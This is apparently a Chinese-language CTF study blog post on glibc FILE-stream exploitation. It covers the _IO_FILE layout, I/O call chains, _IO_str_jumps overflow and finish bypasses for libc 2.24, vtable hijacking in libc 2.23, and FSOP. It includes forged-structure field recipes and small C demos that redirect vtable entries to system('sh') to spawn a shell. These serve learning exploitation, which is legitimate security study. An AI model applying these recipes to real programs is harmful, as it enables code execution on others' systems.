Contents
  1. 1. FILE结构
    1. 1.1. fread
    2. 1.2. fwrite
    3. 1.3. fopen
    4. 1.4. fclose
    5. 1.5. printf\puts
  2. 2. 新版本glibc(libc2.24)下IO_FILE的利用
    1. 2.1. 原理
      1. 2.1.1. 引例
    2. 2.2. _IO_str_jumps -> overflow
    3. 2.3. _IO_str_jumps -> finish
  3. 3. libc2.23及之前版本的libc下伪造vtable劫持
    1. 3.1. 原理
      1. 3.1.1. 引例
  4. 4. FSOP(File Stream Oriented Programming)
    1. 4.1. 原理
    2. 4.2. 利用条件

emmm因为一道题,看了orange,不够透彻,还需要结合IO流….wiki…好重要喔

FILE结构

FILE结构在程序执行fopen等函数时会进行创建,并分配在中。
FILE结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

进程中的FILE结构会通过_chain域彼此连接形成一个链表,链表头部用全局变量_IO_list_all表示。通过这个值我们可以遍历所有的FILE结构。

1
2
3
_IO_2_1_stderr_
_IO_2_1_stdout_
_IO_2_1_stdin_

这三个文件流位于libc.so的数据段,而我们的fopen创建的文件流是分配在堆内存上的。
_IO_FILE结构外包裹着另一种结构_IO_FILE_plus,其中包含了重要的指针vtable,指向了一系列函数指针。

1
2
3
4
5
struct _IO_FILE_plus
{
_IO_FILE file;
IO_jump_t *vtable;
}

vtable是IO_jump_t类型的指针,IO_jump_t中保存了一些函数指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void * funcs[] = {
1 NULL, // "extra word"
2 NULL, // DUMMY
3 exit, // finish
4 NULL, // overflow
5 NULL, // underflow
6 NULL, // uflow
7 NULL, // pbackfail

8 NULL, // xsputn #printf
9 NULL, // xsgetn
10 NULL, // seekoff
11 NULL, // seekpos
12 NULL, // setbuf
13 NULL, // sync
14 NULL, // doallocate
15 NULL, // read
16 NULL, // write
17 NULL, // seek
18 pwn, // close
19 NULL, // stat
20 NULL, // showmanyc
21 NULL, // imbue
};

fread

1
size_t fread ( void *buffer, size_t size, size_t count, FILE *stream) ;
  • 从stream文件流中读取count个到buffer
    size指定每个记录的长度,返回读取到缓冲区的记录个数

_IO_fread –> 【_IO_FILE_plus.vtable –> _IO_sgetn】 –> _IO_file_xsgetn

fwrite

1
size_t fwrite(const void* buffer, size_t size, size_t count, FILE* stream);
  • 把buffer指向的数组中的数据写入 size字节数据项的个数count个 到给定流steam中,如果成功,返回count

_IO_fwrite –> 【_IO_FILE_plus.vtable –> _IO_xsputn】 –> _IO_new_file_xsputn –> _IO_overflow –> _IO_new_file_overflow –> write

fopen

1
FILE *fopen(char *filename, *type);
  • 从filename路径以type类型打开目标文件,返回一个文件指针

__fopen_internal –> malloc 分配FILE结构
_IO_file_init进一步初始化 –> _IO_link_in把新分配的FILE链入_IO_list_all为起始的FILE链表
__fopen_internal –> _IO_file_fopen打开目标文件 –> open

fclose

1
int fclose(FILE *stream)
  • 关闭文件流,把缓冲区内最后剩余的数据输出到磁盘文件中,并释放文件指针和有关的缓冲区

_IO_unlink_it将指定FILE从_chain链表中脱链
_IO_file_close_it –> close –> 【vtable中_IO_finish –> _IO_file_finish –> free

printf\puts

在 printf 的参数是以’\n’结束的纯字符串时,printf会被优化为puts函数并去除换行符。
printf:vfprintf+11 –> _IO_file_xsputn –> _IO_file_overflow –> funlockfile –> _IO_file_write –> write
puts:_IO_puts –> 【_IO_FILE_plus.vtable –> _IO_xsputn】 –> _IO_new_file_xsputn –> _IO_overflow –> _IO_new_file_overflow –> write


  • 以下的利用方法都可以选择一道题来做,只是在不同的libc版本下测试利用就可以学习很多=。=

新版本glibc(libc2.24)下IO_FILE的利用

在glibc2.24种,全新加入了针对IO_FILE_plusvtable劫持的检测措施:

1
2
3
4
5
验证vtable是否位于_IO_vtable段中
- 满足:正常执行
- 不满足:调用_IO_vtable_check做进一步检查
-- 合法:正常执行(这个我不大确定是否正常...
-- 非法:引发abort

【具体如何检查可以看源码,以后(可能)会学习一些堆方面的源码分析,这里不再赘述。】
所以这些check使得使用vtable利用的技术难以实现,这怎么会难倒爷爷们呢,所以就出现了新的利用技术(●’◡’●)

原理

_IO_FILE中有一些域辉表示调用诸如fwrite、fread等函数的写入地址或读取地址,如果控制这些数据,就可以实现任意地址写或任意地址读。
进程中包含了系统默认的三个文件流stdin\stdout\stderr,因此这种方式可以不需要进程中存在文件操作,通过scanf\printf一样可以进行利用。
在_IO_FILE中_IO_buf_base表示操作的起始地址,_IO_buf_end表示结束地址,所以通过控制这两个数据来实现控制读写的操作。

引例

1
2
3
4
5
6
7
8
9
10
11
#include "stdio.h"

char buf[100];

int main()
{
char stack_buf[100];
scanf("%s",stack_buf);
scanf("%s",stack_buf);

}

gdb调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0x7ffff7dd18e0 <_IO_2_1_stdin_>:	0x00000000fbad2088	0x0000000000000000
0x7ffff7dd18f0 <_IO_2_1_stdin_+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1900 <_IO_2_1_stdin_+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1910 <_IO_2_1_stdin_+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1920 <_IO_2_1_stdin_+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1930 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1940 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1950 <_IO_2_1_stdin_+112>: 0x0000000000000000 0xffffffffffffffff
0x7ffff7dd1960 <_IO_2_1_stdin_+128>: 0x0000000000000000 0x00007ffff7dd3790
0x7ffff7dd1970 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000
0x7ffff7dd1980 <_IO_2_1_stdin_+160>: 0x00007ffff7dd19c0 0x0000000000000000
0x7ffff7dd1990 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd19a0 <_IO_2_1_stdin_+192>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd19b0 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007ffff7dd06e0 ==>vtable

scanf之后,指针出现了变化,但是有没有发现这些地址有些眼熟哦…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0x7ffff7dd18e0 <_IO_2_1_stdin_>:	0x00000000fbad2288	0x0000000000602015
0x7ffff7dd18f0 <_IO_2_1_stdin_+16>: 0x0000000000602016 0x0000000000602010
0x7ffff7dd1900 <_IO_2_1_stdin_+32>: 0x0000000000602010 0x0000000000602010
0x7ffff7dd1910 <_IO_2_1_stdin_+48>: 0x0000000000602010 0x0000000000602010 ==> _IO_buf_base
0x7ffff7dd1920 <_IO_2_1_stdin_+64>: 0x0000000000602410 ==> _IO_buf_end 0x0000000000000000
0x7ffff7dd1930 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1940 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1950 <_IO_2_1_stdin_+112>: 0x0000000000000000 0xffffffffffffffff
0x7ffff7dd1960 <_IO_2_1_stdin_+128>: 0x0000000000000000 0x00007ffff7dd3790
0x7ffff7dd1970 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000
0x7ffff7dd1980 <_IO_2_1_stdin_+160>: 0x00007ffff7dd19c0 0x0000000000000000
0x7ffff7dd1990 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd19a0 <_IO_2_1_stdin_+192>: 0x00000000ffffffff 0x0000000000000000
0x7ffff7dd19b0 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007ffff7dd06e0

可以看出这些初始化的内存是从中分配出来的,这也映证了前文的FILE结构
_IO_buf_base 与 _IO_buf_end相差了0x400个字节,所以分配的堆大小是0x400

1
2
3
4
5
6
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x401000 r-xp 1000 0 /home/kk/Desktop/black/wiki/io_file/libc24/test
0x600000 0x601000 r--p 1000 0 /home/kk/Desktop/black/wiki/io_file/libc24/test
0x601000 0x602000 rw-p 1000 1000 /home/kk/Desktop/black/wiki/io_file/libc24/test
0x602000 0x623000 rw-p 21000 0 [heap]

查看堆缓冲区有我写入的kkkkk

1
2
3
pwndbg> x/4gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000411 ==>大小
0x602010: 0x00000a6b6b6b6b6b 0x0000000000000000

栈缓冲区stack_buf

1
2
3
4
5
6
pwndbg> x/10gx 0x7fffffffddd0
0x7fffffffddd0: 0x0000006b6b6b6b6b ==> 数据 0x00007fffffffdf38
0x7fffffffdde0: 0x0000000000000001 0x00007fffffffde60
0x7fffffffddf0: 0x00007ffff7ffe168 0x0000000000f0b5ff
0x7fffffffde00: 0x0000000000000001 0x000000000040066d
0x7fffffffde10: 0x00007fffffffde3e 0x0000000000000000

全局变量buf中,空空如也。

1
2
3
4
5
6
pwndbg> x/10gx 0x601060
0x601060 <buf>: 0x0000000000000000 0x0000000000000000
0x601070 <buf+16>: 0x0000000000000000 0x0000000000000000
0x601080 <buf+32>: 0x0000000000000000 0x0000000000000000
0x601090 <buf+48>: 0x0000000000000000 0x0000000000000000
0x6010a0 <buf+64>: 0x0000000000000000 0x0000000000000000

第二次的scanf,我写入aaaa
此时

1
2
3
pwndbg> x/4gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000411
0x602010: 0x00000a0a61616161 0x0000000000000000

那么我们通过修改_IO_buf_base_IO_buf_end就可以实现任意地址读写。
可是怎么修改啊…

78PVL}DCCGGZF755_Q1D4V3.jpg

libc的vtable==>_IO_file_jumps被检查,而_IO_str_jumps不在检查范围

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> p _IO_str_jumps 
$1 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x7ffff7a89fa0 <_IO_str_finish>, ==>🚩
__overflow = 0x7ffff7a89c80 <__GI__IO_str_overflow>, ==>🚩
__underflow = 0x7ffff7a89c20 <__GI__IO_str_underflow>,
__uflow = 0x7ffff7a88600 <__GI__IO_default_uflow>,
__pbackfail = 0x7ffff7a89f80 <__GI__IO_str_pbackfail>,
__xsputn = 0x7ffff7a88630 <__GI__IO_default_xsputn>,
__xsgetn = 0x7ffff7a88710 <__GI__IO_default_xsgetn>,
__seekoff = 0x7ffff7a8a0d0 <__GI__IO_str_seekoff>,
__seekpos = 0x7ffff7a88a00 <_IO_default_seekpos>,
__setbuf = 0x7ffff7a88930 <_IO_default_setbuf>,
__sync = 0x7ffff7a88c00 <_IO_default_sync>,
__doallocate = 0x7ffff7a88a20 <__GI__IO_default_doallocate>,
__read = 0x7ffff7a89ad0 <_IO_default_read>,
__write = 0x7ffff7a89ae0 <_IO_default_write>,
__seek = 0x7ffff7a89ab0 <_IO_default_seek>,
__close = 0x7ffff7a88c00 <_IO_default_sync>,
__stat = 0x7ffff7a89ac0 <_IO_default_stat>,
__showmanyc = 0x7ffff7a89af0 <_IO_default_showmanyc>,
__imbue = 0x7ffff7a89b00 <_IO_default_imbue>
}

_IO_str_jumps -> overflow

(不是很想贴这些函数的源码,但是不贴的话,后面构造的参数不好理解,所以长篇大论一下吧…)
注意这个函数是因为它里面有相对地址调用,而且这个地址不是它内部函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
int _IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)// pass
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))// should in
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ // pass
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)//pass 一般会通过
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); //target [fp+0xe0] //使用new_buf这句劫持程序流
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
(*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);

_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);

fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}

if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
libc_hidden_def (_IO_str_overflow)

构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
_flags = 0
_IO_write_base = 0
_IO_write_ptr = (binsh_in_libc_addr -100) / 2 +1 //很大就行,如0x7fffffffffffffff
_IO_buf_end = (binsh_in_libc_addr -100) / 2
_IO_buf_base = 0

_freeres_list = 0x2
_freeres_buf = 0x3
_mode = -1

vtable = _IO_str_jumps - 0x18
fp+0xe0 = system_addr(addr_of_func/gadget/one_gadget)
fp+0xd8 = addr_of_IO_str_jumps

_IO_str_jumps -> finish

这个似乎更好用哈

1
2
3
4
5
6
7
8
void _IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) //_IO_buf_base不为空,_flags 与(And) _IO_USER_BUF为假
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);// getshell , [fp+0xe8]
fp->_IO_buf_base = NULL;

_IO_default_finish (fp, 0);
}

构造:

1
2
3
4
5
6
7
8
9
10
11
_flags = (binsh_in_libc + 0x10) & ~1
_IO_buf_base = binsh_addr //参数地址

_freeres_list = 0x2
_freeres_buf = 0x3
_mode = -1

vtable = _IO_str_finish - 0x18

fp+0xe8 = system_addr(addr_of_func/gadget/one_gadget)
fp+0xd8 = addr_of_IO_str_jumps - 8

libc2.23及之前版本的libc下伪造vtable劫持

在libc2.23版本下,32位的vtable偏移为0x94,64位的偏移为0xd8

原理

经前介绍,我们会发现很多IO操作函数会取出vtable中的指针进行调用。
vtable劫持分两种:

  • 直接改写vtable中的函数指针,通过任意地址写可以实现。
  • 覆盖vtable的指针指向我们控制的内存,在其中布置函数指针。

首先搞清楚欲劫持的IO函数会调用vtable中的哪个函数(上文有介绍)。在xsputn等vtable函数进行调用时,传入的第一个参数其实是对应的_IO_FILE_plus地址。

引例

1
2
3
4
5
6
7
8
9
10
11
int main(void)
{
FILE *fp;
long long *vtable_ptr;
fp=fopen("123.txt","rw");
vtable_ptr=*(long long*)((long long)fp+0xd8); //get vtable

vtable_ptr[7]=0x41414141; //xsputn

printf("call 0x41414141");
}

printf会调用vtable的xsputn(下标为7),传递给vtable的第一个参数就是_IO_2_1_stdout

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#define system_ptr 0x7ffff7a52390;

int main(void)
{
FILE *fp;
long long *vtable_ptr;
fp=fopen("123.txt","rw");
vtable_ptr=*(long long*)((long long)fp+0xd8); //get vtable

memcopy(fp,"sh",3);

vtable_ptr[7]=system_ptr //xsputn

fwrite("hi",2,1,fp);
}

位于libc数据段的vtable是不可以进行写入的…不过在可控的内存中伪造vtable的方法依然可以实现利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#define system_ptr 0x7ffff7a52390;

int main(void)
{
FILE *fp;
long long *vtable_addr,*fake_vtable;

fp=fopen("123.txt","rw");
fake_vtable=malloc(0x40); //分配内存存放伪造的vtable

vtable_addr=(long long *)((long long)fp+0xd8); //vtable offset

vtable_addr[0]=(long long)fake_vtable; //修改_IO_FILE_plus的vtable指针指向这块内存

memcpy(fp,"sh",3);

fake_vtable[7]=system_ptr; //xsputn

fwrite("hi",2,1,fp);
}

//这给的c不要直接甩上去测试…会报错哒…
vtable中放置的是system函数地址,所以需要传递参数”/bin/sh”或”sh”。
vtable的函数调用时会把对应的_IO_FILE_plus指针作为第一个参数传递,所以我们把”/sh”写入_IO_FILE_plus头部。之后fwrite的调用就会经过我们伪造的vtable进行执行system(“sh”)。
同样,如果程序中不存在 fopen 等函数创建的_IO_FILE 时,也可以选择 stdin\stdout\stderr 等位于libc.so中的_IO_FILE,这些流在 printf\scanf 等函数中就会被使用到。在 libc2.23 之前,这些 vtable 是可以写入并且不存在其他检测的。

FSOP(File Stream Oriented Programming)

还是在以上FILE结构讲解的基础上进行学习📎

原理

进程内所有的_IO_FILE结构会使用_chain域互相连接形成一个链表,这个链表的头部由_IO_list_all维护。

  • SOP的核心思想就是劫持_IO_list_all的值来伪造链表和其中的_IO_FILE项。
  • 伪造了之后如何触发?
    • 调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all链表中的所有项的文件流,相当于对每个FILE调用fflush,也对应着会调用_IO_FILE_plus.vtable中的_IO_overflow。
  • 如何调用_IO_flush_all_lockp
    • 不需要攻击者手动调用,在一些情况下这个函数会被系统调用:
    • 1.当libc执行abort流程时
    • 2.执行exit函数时
    • 3.当执行流从main函数返回

利用条件

1.得到libc基址(因为_IO_list_all是作为全局变量储存在libc.so中的,不泄露libc基址就不能改写_IO_list_all)
2.用任意地址写把_IO_list_all的内容改为指向我们可控内存的指针
3.在可控内存中布置一个我们理想函数的vtable指针。怎么才能达到理想咧?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
int last_stamp;

fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF) //,如果输出缓冲区有数据,刷新输出缓冲区
result = EOF;


fp = fp->_chain; //遍历链表
}
...
}

所以要想调用后面的_IO_OVERFLOW(fp, EOF),条件就是:

1
2
3
4
5
6
1.fp->_mode <= 0
2.fp->_IO_write_ptr > fp->_IO_write_base

1._IO_vtable_offset (fp) == 0
2.fp->_mode > 0
3.fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

以上参考
CTF-wiki
veritas501 IO FILE学习笔记
xiaoxiaorenwu 5种方法解heap_master